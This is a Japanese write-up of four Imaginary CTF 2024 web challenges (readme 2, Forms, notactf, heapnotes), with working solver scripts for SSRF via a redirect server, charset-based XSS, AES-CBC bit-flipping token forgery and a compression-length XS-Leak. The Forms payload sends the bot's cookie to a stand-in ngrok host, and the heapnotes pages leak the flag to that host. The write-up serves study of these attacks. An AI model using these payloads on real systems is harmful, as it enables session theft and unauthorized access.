🦄

Imaginary CTF 2024 web writeup (follow up)

2024/07/23に公開

解けなかった問題反省コーナー

readme 2

Github

問題

const flag = process.env.FLAG || 'ictf{this_is_a_fake_flag}'

Bun.serve({
async fetch(req) {
const url = new URL(req.url)
if (url.pathname === '/') return new Response('Hello, World!')
if (url.pathname.startsWith('/flag.txt')) return new Response(flag)
return new Response(404 Not Found: ${url.pathname}, { status: 404 })
},
port: 3000
})
Bun.serve({
async fetch(req) {
if (req.url.includes('flag')) return new Response('Nope', { status: 403 })
const headerContainsFlag = [...req.headers.entries()].some(([k, v]) => k.includes('flag') || v.includes('flag'))
if (headerContainsFlag) return new Response('Nope', { status: 403 })
try {
const url = new URL(req.url)
if (url.href.includes('flag')) return new Response('Nope', { status: 403 })
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
} catch (e) {
return new Response(e, { status: 500})
}
},
port: 4000 // only this port are exposed to the public
})

リクエストを送ると、URLをパースして、localhost:3000に同じ内容を送る。そのサーバーでのURLのパスが/flag.txtから始まればクリアできる。ただし、URLかHeaderにflagの文字が含まれていると弾かれてしまう

方針としては以下のどちらか

  • headerにもURLにもflagと連続していないが、最終的にリクエストが送られる際にflag.txtとして解釈されるようなリクエストを送る
  • 送られる先のサーバーを自分が用意したものにして、localhost:3000にリダイレクトする

別サーバーに送ることができることには気づいていたが、なぜかリダイレクトの発想に至らなかった。

GET //foobar.com HTTP/1.1と送ると、new URL("//foobar.com", "http:localhost:3000")となるが、これのhrefはhttp://foobar.comと解釈される。それを利用すると、以下のようにフラグがとれる

solver.py
from pwn import *

# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
EVIL_HOST = "xxx.ngrok.app"
EVIL = f"https://{EVIL_HOST}"
io = remote(HOST, PORT)

v = (
    f"GET //{EVIL_HOST} HTTP/1.1\r\n"
    f"Host: {EVIL_HOST} \r\n"
    "\r\n"
)

io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)
server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler

class RedirectHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)  
        self.send_header('Location', 'http://localhost:3000/flag.txt') 
        self.end_headers()


def run(server_class=HTTPServer, handler_class=RedirectHandler, addr="localhost", port=9911):
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()
別解1 URLのキモ挙動

x:foobarとすると、foobarをpathnameとして解釈する上に、前に/が付かないという仕様を利用する。

solver.py
from pwn import *

# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
EVIL_HOST = "xxx.ngrok.app"
EVIL = f"https://{EVIL_HOST}"
io = remote(HOST, PORT)

v = (
    f"GET x:{EVIL} HTTP/1.1\r\n"
    f"Host: {EVIL_HOST} \r\n"
    "\r\n"
)

io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)
別解2 Bunが不正なHostを弾かないことを利用する
solver.py
from pwn import *
import string

# HOST, PORT = "readme2.chal.imaginaryctf.org", 80
HOST, PORT = "localhost", 4000
HOST_URL = f"http://{HOST}:{PORT}"


io = remote(HOST, PORT)

v = (
    f"GET /.. HTTP/1.1\r\n"
    f"Host: localhost:3000/fl\tag.txt \r\n"
    "\r\n"
)
io.send(v.encode())
io.recvuntil(b"\r\n\r\n")
r = io.recvuntil(b"}")
print(r)

Forms

Github

クリア率の割に簡単だったので拍子抜けしました。脆弱性についてはこの記事の通りです。

問題

ユーザーはフォームを作成できる。フォームはタイトルと質問のリストからなり、質問を回答必須にすることができる

main.py
@app.route('/form/create', methods=['GET', 'POST'])
@login_required
def create_form():
    if request.method == 'GET':
        return render_template('create_form.html')

    try:
        title = request.form.get('title')
        questions = json.loads(request.form.get('questions', ''))
    except:
        title = None
        questions = None

    if title is None or type(questions) is not list or any(type(q) is not list or len(q) != 2 or type(q[0]) is not str or type(q[1]) is not bool for q in questions):
        return fail('create_form.html', 'Invalid request')

    if len(questions) == 0:
        return fail('create_form.html', 'Your form must consist of at least one question')

    form = Form(author=current_user, title=title)
    questions = [FormQuestion(form=form, number=i, content=q[0], required=q[1]) for i, q in enumerate(questions)]
    db.session.add(form)
    db.session.add_all(questions)
    db.session.commit()

    flash(f'Form with id {form.id} created', 'info')
    return render_template('create_form.html')

フォームを入力すると、回答必須の質問が回答されていたかチェックされ、されていなかった場合はエラー画面を表示する。

main.py
@app.route('/form/fill/<formid>', methods=['GET', 'POST'])
def fill_form(formid):
    try:
        formid = str(UUID(formid))
        form = Form.query.filter(Form.id == formid).first()
    except ValueError:
        form = None
    
    if form is None:
        return fail('index.html', 'Invalid form id')

    if request.method == 'GET':
        return render_template('fill_form.html', form=form, answers={})
    
    required_questions = [f'q_{q.number:02}' for q in form.questions if q.required]
    answers = {f'q_{i:02}': request.form.get(f'q_{i:02}', '') for i in range(len(form.questions))}

    for q in required_questions:
        i = int(q[2:])
        if len(answers[q]) == 0:
            return fail('fill_form.html', f'The following question is required: {form.questions[i].content}', {'form': form, 'answers': answers})
    
    # TODO: save the answers
    return render_template('thank_you.html')

""" snip """

def fail(template, message, context={}):
    flash(message, 'error')
    resp = Response(render_template(template, **context))
    resp.status_code = 400
    resp.content_type = 'text/html'
    return resp

base.html
<!DOCTYPE html>
<html>
    <head>
        <title>{% block title %}{% endblock %}</title>
        <link href="/static/bootstrap.min.css" rel="stylesheet">
    </head>
    <body>
        <!-- snip -->
        <div class="container py-3">
        {% block content %}{% endblock %}
        </div>
        <script>
        const messages = [
            {% with messages = get_flashed_messages(with_categories=True) %}
                {% for category, message in messages %}
                    {category: '{{ category }}', message: {{ message | tojson }} },
                {% endfor %}
            {% endwith %}
        ];
        /* snip */
        </script>
        <script src="/static/bootstrap.bundle.min.js"></script>
    </body>
</html>
fill_form.html
{% extends "base.html" %}

{% block title %}{{ form.title }}{% endblock %}

{% block content %}
<h3>{{ form.title }} by {{ form.author.username }}</h3>
{% for q in form.questions %}
{% set name = 'q_' + (loop.index0 | string()).zfill(2) %}
<div class="mb-3">
    <label class="form-text" for="{{ name }}">{{ loop.index }}. {{ q.content }}</label> <input type="text" class="question form-control" name="{{ name }}" value="{{ answers.get(name, '') }}" />
</div>
{% endfor %}
<button class="btn btn-primary rounded-3" name="submit" onclick="submitAnswers()">Submit your answers</button>
<script>
/* snip */
</script>
{% endblock %}

Botに質問に答えさせることができる。その際に、どの質問に答えるかを指定できる

main.py
@app.post('/form/ask/<formid>')
@login_required
def ask_admin(formid):
    try:
        formid = str(UUID(formid))
        form = Form.query.filter(Form.id == formid).first()
    except ValueError:
        return fail('index.html', 'Invalid form id')

    questions_to_fill = [f'q_{i:02}' for i in range(len(form.questions)) if request.form.get(f'q_{i:02}', False)]

    Thread(target=visit, args=(formid, questions_to_fill)).start()
    return render_template('admin_confirmation.html')
bot.py
def visit(id, questions_to_fill):
    print(f'Visiting {id}')
    options = FirefoxOptions()
    options.add_argument('--headless')
    browser = Firefox(options=options)
    browser.set_page_load_timeout(10)
    try:
        browser.get(BASE_URL)
        browser.add_cookie({'name': 'flag', 'value': 'jctf{red_flags_and_fake_flags_form_an_equivalence_class}'})
        browser.get(f'{BASE_URL}/form/fill/{id}')

        for q in questions_to_fill:
            question = browser.find_element(By.NAME, q)
            question.send_keys(token_hex(8))

        button = browser.find_element(By.NAME, 'submit')
        button.click()
        time.sleep(10)
    finally:
        browser.quit()

このときBotのcookieにフラグが含まれている。

注目すべきは次の点

  • 回答必須の質問に答えさせないことによって、Botにエラー画面を開かせることができる。
  • 通常のページはflaskによってContent-Type: text/html; charset=utf-8のヘッダーが付与されるが、エラーページはContent-Type: text/htmlとなっており、charsetが指定されていないことがわかる。
  • したがって、ISO-2022-JPを利用したXSSが利用可能。
    • ちなみに、解説記事にはChromeもFirefoxも利用できると書いてあるが、とりあえず試してみたところFirefoxでしかできなかった。もう修正されたのか、あるいはChromeはcharsetの推論を行っているのか。BotがChromiumベースのpuppeteerではなくFirefoxベースのseleniumになっているのもこれが理由

タイトルでJIS X 0201 1976モードにすることによって以下の箇所のエスケープを失敗させることができる。

fill_form.html
{category: '{{ category }}', message: {{ message | tojson }} }

たとえば、質問が"foobar"ならば通常

[
    {category: 'error', message: "The following question is required:\"foobar\"" },
]

となるが、ISO-2022-JPでは

[
    {category: 'error', message: "The following question is required:¥"foobar¥"" },
]

となり、エスケープに失敗する。ここで、質問を"}];alert(1);[//"にすることで、

[
    {category: 'error', message: "The following question is required:¥"}];alert(1);[//¥"" },
]

となり、XSSを行うことが可能

以下回答

solver.py
import json
import requests
import re
from Crypto.Util.number import long_to_bytes

URL = "http://localhost:5000/"
EVIL = "https://xxx.ngrok.app/"

s = requests.session()
data = {
    "username": "user",
    "password": "password"
}
r = s.post(URL + "register", data=data)
r = s.post(URL + "login", data=data)

SWITCH_JIS = "\x1b(J"
XSS_payload = f"\"}}];document.location.assign(`{EVIL}?v=${{document.cookie}}`);[//"

r = s.post(URL + "form/create", data={
    "title": SWITCH_JIS,
    "questions": json.dumps([[XSS_payload,True]])
})
form_id = re.findall("Form with id ([^\s]+) created", r.text)[0]
r = s.post(URL + f"form/ask/{form_id}")

notactf

Github

問題

/adminにGETするとauthtokenが得られる。また、有効でユーザー名がadminであるauthtokenを/adminにPOSTするとフラグが書かれたchallenge.txtを読み取ることができる。admin以外は/adminのGETができないが、POSTの方はauthtokenのみをチェックする。

app.py
#admin panel
@app.route('/admin')
@flask_login.login_required
def admin():
  if flask_login.current_user.id != "admin":
    return "UNAUTHORIZED"
  elif flask_login.current_user.id == "admin":
    signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id
    authtoken = aes256.encrypt(signed_id, str(aeskey))
    authtoken = str(authtoken)
    authtoken = authtoken[:-1]
    authtoken = authtoken[2:]
    authtoken = xorCrypt(str(authtoken), 938123)
    authtoken = str(authtoken)
    authtoken = authtoken.encode("utf-8").hex()
    
    challconf = open("challenges.txt", "r")
    challconf = challconf.read()
    challconf = str(challconf)


    return render_template('admin.html', username=flask_login.current_user.id, authtoken=authtoken, challconf=challconf)

@app.route('/admin', methods=['POST'])
def admin_SS():
  user_auth = request.headers.get('user-auth-token')
  user_auth = bytes(user_auth, 'utf-8')
  user_auth=binascii.unhexlify(user_auth)
  user_auth = str(user_auth, "utf-8")
  user_auth = xorCrypt(str(user_auth), 938123)

  user = aes256.decrypt(user_auth, str(aeskey))
  user = user[32:].decode()

  #List of users
  users = []
  alluserobj = []
  if user != str(adminusername):
    return "UNAUTHORIZED"
  elif user == str(adminusername):

    action = request.headers.get('action')
    if action == "get-challenges":
      challconf = open("challenges.txt", "r")
      challconf = challconf.read()

      return str(challconf)

また、/challengesにアクセスすると、同様の手順で生成されたauthtokenが手に入れられる。

app.py
@app.route('/challenges')
def challenges():
  signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id
  authtoken = aes256.encrypt(signed_id, str(aeskey))
  authtoken = str(authtoken)
  authtoken = authtoken[:-1]
  authtoken = authtoken[2:]
  authtoken = xorCrypt(str(authtoken), 938123)
  authtoken = str(authtoken)
  authtoken = authtoken.encode("utf-8").hex()

  challs = open("challenges.txt", "r")
  challs = challs.read()
  challs = ast.literal_eval(challs)

AESで暗号化される前のsigned_idは次のような構成になっている

signed_id = hashlib.md5(flask_login.current_user.id.encode()).hexdigest() + flask_login.current_user.id

しかし、/adminのチェックでは、md5の部分を完全に無視している

user = user[32:].decode()
""" snip """
if user != str(adminusername):
    """ snip """

また、AESはAesEverywhereを利用しており、OpenSSL互換のAES-256-CBCによる暗号化がなされている。

このように、CBCモードでデータの一部を自由に変えられる場合、CBC Bit-flipping Attackを利用することができる。

AES-256-CBCの結果は、次のバイト列をbase64で暗号化したものである

Salted__<saltの値(8バイト)><メッセージ(16nバイト)>

したがって、以下のように暗号化されたメッセージを抽出できる

solver.py
r = s.get(URL + "challenges")

# app.pyからコピー
user_auth = bytes(re.findall(r"'user-auth-token', \"(.+)\"", r.text)[0], 'utf-8')
user_auth = binascii.unhexlify(user_auth)
user_auth = str(user_auth, "utf-8")
user_auth = xorCrypt(str(user_auth), 938123)

token = b64decode(user_auth)
encrypted = token[16:]

興味があるのは最後のブロックだけなので、その前のブロックに変更前の平文と変更後の平文をXORしたものを、その暗号化されたブロックにXORしたい。
ここで、最後のブロックはPKCS#7パディングされていることを踏まえて、パディングをしてからXORすることに注意する。

以下回答

solver.py
import binascii
import requests
import re
from xorCryptPy import xorCrypt
from base64 import b64decode, b64encode
from pwn import xor

# URL = "http://notactf.chal.imaginaryctf.org/"
URL = "http://localhost:8080/"
USER = "tchensan"

BLOCK_SIZE = 16

def _add_padding(msg):
	pad_len = BLOCK_SIZE - (len(msg) % BLOCK_SIZE)
	padding = bytes([pad_len]) * pad_len
	return msg + padding


s = requests.session()
userdata = {
    "username": USER,
    "password": "pass"
}
r = s.post(URL + "register", data=userdata)
r = s.post(URL + "login", data=userdata)

r = s.get(URL + "challenges")

# app.pyからコピー
user_auth = bytes(re.findall(r"'user-auth-token', \"(.+)\"", r.text)[0], 'utf-8')
user_auth = binascii.unhexlify(user_auth)
user_auth = str(user_auth, "utf-8")
user_auth = xorCrypt(str(user_auth), 938123)

token = b64decode(user_auth)
encrypted = token[16:]

target_original = USER.encode()
target_modified = b'admin'
xored = xor(_add_padding(target_original), _add_padding(target_modified))
modified = xor(encrypted, b"\x00" * BLOCK_SIZE + xored + b"\x00" * BLOCK_SIZE)

result = b64encode(token[:16] + modified)

# app.pyからコピー
authtoken = str(result)
authtoken = authtoken[:-1]
authtoken = authtoken[2:]
authtoken = xorCrypt(str(authtoken), 938123)
authtoken = str(authtoken)
authtoken = authtoken.encode("utf-8").hex()

r = s.post(URL + "admin", headers={
    "user-auth-token": authtoken,
    "action": "get-challenges"
})
print(r.text)

heapnotes

Github

問題

/createでノートを作成できる。keyを設定することで、閲覧するときにXor暗号をかけることができる。

app.py
@app.route('/create', methods=['GET', 'POST'])
@login_required
def create_note():
    if request.method == 'POST':
        key = os.urandom(16).hex()
        if "key" in request.form:
            key = request.form["key"]
        note_id = ''.join(random.choices(string.ascii_letters, k=32))
        content = request.form["content"]
        new_note = Note(note_id=note_id, user_id=current_user.username, content=content, key=key)
        db.session.add(new_note)
        db.session.commit()
        return note_id
    return render_template('create.html')

作成したノートにはIDが付与され、/note/<note_id>で閲覧することができる。これは、ユーザー名と内容をzlibで圧縮し、/render/<data>/<key>にリダイレクトすることによって行われる

app.py
@app.route('/note/<note_id>')
@login_required
def view_note(note_id):
    note = Note.query.filter_by(note_id=note_id).first()
    key = note.key
    data = encrypt(zlib.compress(json.dumps({"username": current_user.username, "content": note.content}).encode()), bytes.fromhex(key)).hex()
    print(len(data))
    return redirect(url_for('render_note', data=data, key=key))

@app.route('/render/<data>/<key>')
@login_required
def render_note(data, key):
    if not data:
        return 'Invalid note', 404
    try:
        data = json.loads(zlib.decompress(encrypt(bytes.fromhex(data), bytes.fromhex(key))).decode())
    except:
        data = {"username": current_user.username, "content": "Error"}
    return render_template('note.html', note=data)

CookieはSamesiteが"none"なので、埋め込みによってPOSTを行うことが可能

app.py
app.config["SESSION_COOKIE_SAMESITE"] = "None"
app.config["SESSION_COOKIE_SECURE"] = True

BotにURLを送ると、問題のサイトにログインした後、URLの場所にアクセスする。このBotのユーザー名とパスワードがフラグ。

bot.js
    await page.goto('https://heapnotes.chal.imaginaryctf.org/login');

    await page.getByLabel('username').fill(FLAG);
    await page.getByLabel('password').fill(FLAG);
    await page.getByRole('button').dispatchEvent('click');

    await page.waitForNavigation();

    await page.goto(url);

    setTimeout(() => {
      try {
        page.close();
        socket.write('timeout\n');
        socket.destroy();
      } catch (err) {
        console.log(`err: ${err}`);
      }
    }, 10000);

Cookieの設定からXS-Leaksが怪しいので、ユーザー名かパスワードがどのように使われているか見ると、基本的にはどこにも描画されていない。したがって、CSSやらスクロールやらで描画されている内容をリークさせるような問題ではなさそう。

ここで、note/<note_id>にアクセスすると、ユーザー名の情報とともにzlibで圧縮された内容で/render/<data>/<key>にリダイレクトされることに注目する。{"username": username, "content": note.content}usernamenote.contentに共通部分が多ければ多いほど圧縮効率がよくなるので、URLの長さによってXS-Leaksできそう。以下のように実験してみる。

test.py
import json
import string
import zlib
import warnings


def encrypt(pt, key):
    ct = []
    for i in range(len(pt)):
        ct.append(pt[i] ^ key[i % len(key)])
    return bytes(ct)

for c in string.ascii_lowercase:
    res = encrypt(zlib.compress(json.dumps({"username": "ictf{fake_flag}", "content": "ictf{" + c}).encode()), bytes.fromhex("00")).hex()
    print(c, len(res))

結果

a 106
b 106
c 106
d 106
e 106
f 104
g 106
...

URLの内容や長さは直接見ることはできないが、keyの大きさを好きなように調整できるので、usernamenote.contentの共通部分が多い時だけ正常にリクエストでき、共通部分が少ない時はURLが長すぎてエラーになるようにしたい。

ここで、keyの長さをとりあえずとても大きくしてみると

requests.exceptions.ConnectionError: ('Connection aborted.', LineTooLong('got more than 65536 bytes when reading header line'))

というエラーが返ってくる。したがって、ヘッダーの大きさが65536ピッタリになるように、keyの長さを調整したい。botがどのようなヘッダーを使うかわからないので、手元のブラウザで大体の目星をつけた後、次のようなサーバーを実装する。

get_len.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>
        // const MAIN = "https://127.0.0.1/";
        const MAIN = "https://app/";
        const EVIL = "https://xxx.ngrok.app/";
        const ASCII = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}@:';
        const MAX_URL_LENGTH = 65536;
        const INIT_KEYLEN = MAX_URL_LENGTH - 150; // 大体の目星
        window.iframes = [];
        function init() {
            for(let i = 0; i < ASCII.length; i++) {
                const iframe = document.createElement("object");
                document.body.appendChild(iframe);
                iframes.push(iframe);
            }
        }

        async function createIframe(str, len ,i) {
            const iframe = iframes[i];
            const noteid = await (await fetch(`${EVIL}create?v=${str}&l=${len}`)).text();
            iframe.data = MAIN + "note/" + noteid;
            return iframe
        }

        window.addEventListener("load", async () => {
            init();
            let promises = [];
            for(let i = 0; i < ASCII.length; i++) {
                const current = INIT_KEYLEN + 2 * i;
                await createIframe("ictf{", current, i);
                promises.push(new Promise((res) => {
                    iframes[i].onload = () => {
                        res(current)
                    }
                    iframes[i].onerror = () => {
                        res(-1)
                    }
                }));
            }
            const res = Math.max(...(await Promise.all(promises)));
            fetch(`${EVIL}log?keylen=${res}`)
        })
    </script>
</head>
<body>
</body>
</html>
server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests
import warnings
from pwn import *

warnings.simplefilter('ignore')

URL = "https://127.0.0.1/"
EVIL = "https://xxx.ngrok.app/"
USER = "USERNAME"
s = None

class Handler(SimpleHTTPRequestHandler):
    global s
    def do_GET(self):
        url = urlparse(self.path)
        qs = parse_qs(url.query)
        if url.path == "/create":
            val = qs.get("v")[0]
            l = qs.get("l")[0]
            r = s.post(URL + '/create', data={
                "content": val,
                "key": "0" * int(l)
            }, verify=False)

            self.send_response(200)
            self.end_headers()
            self.wfile.write(r.content)
            return
        elif url.path == "/log":
            self.send_response(200)
            self.end_headers()
            return
        super().do_GET()


def run(server_class=HTTPServer, handler_class=Handler, addr="localhost", port=9911):
    global s
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    s = requests.session()
    user = {
        "username": USER,
        "password": "pass"
    }
    s.post(URL + "register", data=user, verify=False)
    s.post(URL + "login", data=user,verify=False)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

結果

GET /log?keylen=65408 HTTP/1.1

あとは、現在判明している文字列knownと、利用するkeyの長さをうけとり、knownに1文字追加してチェックを行い、一つだけ成功したら成功した文字列をknownに上書きし、全て成功か失敗した場合はkeyの長さを調整するようなHTMLを作成した。

index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script>
        // const MAIN = "https://127.0.0.1/";
        const MAIN = "https://app/";
        const EVIL = "https://xxx.ngrok.app/";
        const ASCII = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_}@:';
        window.iframes = [];
        function init() {
            for(let i = 0; i < ASCII.length; i++) {
                const iframe = document.createElement("object");
                document.body.appendChild(iframe);
                iframes.push(iframe);
            }
        }

        async function createIframe(str, len ,i) {
            const iframe = iframes[i];
            const noteid = await (await fetch(`${EVIL}create?v=${str}&l=${len}`)).text();
            iframe.data = MAIN + "note/" + noteid;
            return iframe
        }

        window.addEventListener("load", async () => {
            const qs = new URLSearchParams(document.location.search)
            init();
            let keylen = qs.get("keylen");
            let known = qs.get("known");
            let promises = [];
            for(let i = 0; i < ASCII.length; i++) {
                const current = known + ASCII[i];
                await createIframe(current, keylen, i);
                promises.push(new Promise((res) => {
                    iframes[i].onload = () => {
                        res(current)
                    }
                    iframes[i].onerror = () => {
                        res("")
                    }
                }));
            }
            const res = (await Promise.all(promises)).filter(v => v.length > 0);
            if(res.length == 1) {
                if(res[0].slice(-1) == "}"){
                    fetch(`${EVIL}log?flag=${res[0]}`)
                } else {
                    fetch(`${EVIL}continue?known=${res[0]}&keylen=${keylen}`)
                }
            } else if(res.length == 0) {
                fetch(`${EVIL}continue?known=${known}&keylen=${keylen-2}`)
            } else {
                fetch(`${EVIL}continue?known=${known}&keylen=${keylen+2}`)
            }
        })
    </script>
</head>
<body>
</body>
</html>

continueは自動的に再度Botに問い合わせを行う。

追記したバージョン
server.py
from http.server import HTTPServer, SimpleHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
import requests
import warnings
from pwn import *

warnings.simplefilter('ignore')

URL = "https://127.0.0.1/"
EVIL = "https://xxx.ngrok.app/"
USER = "USERNAME"
BOT_HOST, BOT_PORT = ("localhost", 1338)
s = None

def send_bot(arg):
    io = remote(BOT_HOST, BOT_PORT)
    io.recvuntil(":")
    io.sendline(EVIL + "?" + arg)
    io.close()


class Handler(SimpleHTTPRequestHandler):
    global s
    def do_GET(self):
        url = urlparse(self.path)
        qs = parse_qs(url.query)
        if url.path == "/create":
            val = qs.get("v")[0]
            l = qs.get("l")[0]
            r = s.post(URL + '/create', data={
                "content": val,
                "key": "0" * int(l)
            }, verify=False)

            self.send_response(200)
            self.end_headers()
            self.wfile.write(r.content)
            return
        elif url.path == "/log":
            self.send_response(200)
            self.end_headers()
            return
        elif url.path == "/continue":
            send_bot(url.query)
            self.send_response(200)
            self.end_headers()
            return
        super().do_GET()


def run(server_class=HTTPServer, handler_class=Handler, addr="localhost", port=9911):
    global s
    server_address = (addr, port)
    httpd = server_class(server_address, handler_class)
    s = requests.session()
    user = {
        "username": USER,
        "password": "pass"
    }
    s.post(URL + "register", data=user, verify=False)
    s.post(URL + "login", data=user,verify=False)
    print(f"Starting HTTP server on {addr}:{port}")
    httpd.serve_forever()

if __name__ == "__main__":
    run()

https://xxx.ngrok.app/continue?known=ictf{&keylen=65408にGETリクエストを行うと、フラグが手に入れられる。

Discussion